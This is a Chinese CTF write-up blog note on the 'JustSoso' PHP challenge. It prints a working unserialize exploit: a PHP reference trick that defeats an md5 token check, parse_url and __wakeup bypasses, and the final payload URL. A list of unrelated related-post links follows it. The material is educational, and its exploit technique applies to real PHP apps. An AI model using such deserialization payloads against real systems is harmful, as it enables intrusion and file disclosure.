JustSoso笔记
当时想了大半天,想着到底要怎么绕过MD5呢,结果还是没做出来,即使问了学长,自己还是漏了一个步骤,file=hint.php,特此笔记,又学到了个引用变量的知识
学习自 https://www.ctfwp.com/articals/2019national.html
查看源码
可以知道是php包含的问题,呢么用filter://协议读取下源码(当时保存在编辑器上的源码)
index.php <html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>hint.php <?php class Handle{ private $handle; public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){$this->handle->getFlag();} }class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo @highlight_file($this->file,true); } }} } ?>
这里看到应该是PHP序列化的题目,呢么看一下源码,Handle类有构造函数和析构函数,而析构函数中调用到了Flag类中getFlag()方法。呢么我们可以在new Handle中再new Flag,(呢么就会调用Flag的构造函数)=======这句话是错的,不会调用构造函数,构造函数时在new类时才会调用,我们的目的只是令一个属性赋值为一个类,呢在反序列化时侯,会自动调用析构函数,通过析构函数,就会调用Flag类,从而才能调用getFlag函数- 。-,之前对序列化的理解有误,所以总以为在反序列化时侯调用了构造函数,其实是错误的。构造函数的目的是为了在new的时候调用并且把类给一个属性。======== 并且调用Flag中的getFlag()函数,但是我没想到什么方法能绕过md5完全相等,看了WP后,发现利用引用变量的思想(https://blog.csdn.net/qq_33156633/article/details/79936487)。
简单的意思就是当引用变量时,两个变量指向的是同一地址,$b=&$a的话,就是$b也指向$a的区域,随着$a的变化而变化;
但是再类中,不用加&,类相当就是引用传递.
呢么回到本题目,如果在Flag中的构造函数中加入$this->token = &$this->token_flag的话,不管怎么赋值,他们两个指向的都是同一区域,所以值相等。因此就可以绕过md5了。呢么解题源码如下:
//hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$a = new Flag("flag.php");
$b= new Handle($a);
echo serialize($b);
?>
输出:O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"91bc333f6967019ac47b49ca0f2fa757";s:10:"token_flag";R:4;}}
提交的时候还要绕过parse_url (http://www.am0s.com/functions/406.html)和_wakeup魔术方法,成员数目比原先的成员数目大就行
payload: ///?file=hint.php&payload=O:6:"Handle":2:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"91bc333f6967019ac47b49ca0f2fa757";s:10:"token_flag";R:4;}}
(记得file=hint.php,当时就是忘记了,因为需要包含hint.php,使其执行php文件才行,这是正常的解题思维,然后大佬就是大佬,RCE+条件竞争都能整出来,厉害。最上面的WP收集网站里有讲解)
转载于:https://www.cnblogs.com/BOHB-yunying/p/10755095.html
JustSoso笔记相关推荐
- 【读书笔记】知易行难,多实践
前言: 其实,我不喜欢看书,只是喜欢找答案,想通过专业的解答来解决我生活的困惑.所以,我听了很多书,也看了很多书,但看完书,没有很多的实践,导致我并不很深入在很多时候. 分享读书笔记: <高效1 ...
- 【运维学习笔记】生命不息,搞事开始。。。
001生命不息,搞事不止!!! 这段时间和hexesdesu搞了很多事情! 之前是机械硬盘和固态硬盘的测速,我就在那默默的看着他一个硬盘一个机械测来测去. 坐在他后面,每天都能看到这位萌萌的小男孩,各 ...
- SSAN 关系抽取 论文笔记
20210621 https://zhuanlan.zhihu.com/p/353183322 [KG笔记]八.文档级(Document Level)关系抽取任务 共指id嵌入一样 但是实体嵌入的时候 ...
- pandas以前笔记
# -*- coding: utf-8 -*- """ Created on Sat Jul 21 20:06:20 2018@author: heimi "& ...
- PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call
您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...
- 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 王道考研 计算机网络笔记 第六章:应用层
本文基于2019 王道考研 计算机网络: 2019 王道考研 计算机网络 个人笔记总结 第一章:王道考研 计算机网络笔记 第一章:概述&计算机网络体系结构 第二章:王道考研 计算机网络笔记 第 ...
- 王道考研 计算机网络笔记 第五章:传输层
本文基于2019 王道考研 计算机网络: 2019 王道考研 计算机网络 个人笔记总结 第一章:王道考研 计算机网络笔记 第一章:概述&计算机网络体系结构 第二章:王道考研 计算机网络笔记 第 ...
最新文章
- 摊牌了!国内首个基于结构光投影三维重建系列视频课程
- Handler消息机制(九):IntentService源码解析
- CSDN专访云信阙杭宁:以16年技术积累打造稳定IM云服务
- css img 适配尺寸_如何解决img标签下面的小空隙(附详细视频教程)
- python3-numpy np.nditer 迭代数组、np.nditer修改数组、np.nditer广播迭代
- vue+webpack 安装常见插件
- Spark Streaming中流式计算的困境与解决之道
- cpython知乎_Numpy为什么可以用C语言写?
- 阿里云服务器用Docker配置运行nginx并访问
- filter过滤器(转载)
- Arcgis Licensemanager 不能启动的原因之一(转载)
- php excel数据导出
- 计算机电工电子怎么学,计算机在电子电工课中的应用
- 台电幻彩(t4jn)系列u盘量产修复工具
- AHP(层次分析法)学习笔记及多层权重Python实践
- #10015. 「一本通 1.2 练习 2」扩散
- 云计算效果如何,Mixpanel现身说法
- 关于内部排序的小总结
- pythongui做计算器_Python——GUI编程 利息计算器 作业9(python programming)
- 06-手机登录token生成容联云短信验证用户认证和网关整合(网关做统一权限认证)